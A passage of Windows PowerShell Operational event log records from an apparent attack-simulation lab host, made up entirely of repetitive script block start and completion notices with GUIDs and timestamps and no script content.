SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027987
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027986
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027985
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027984
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027983
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027982
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027981
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027980
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027979
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027978
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027977
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027976
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027975
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027974
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027973
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027972
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027971
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027970
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027969
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027968
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027967
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027966
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027965
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027964
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027963
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027962
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027961
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027960
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027959
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027958
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027957
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027956
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027955
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027954
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027953
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027952
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027951
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027950
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027949
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027948
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027947
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027946
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027945
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027944
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027943
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027942
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027941
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027940
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027939
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027938
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027937
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027936
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027935
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
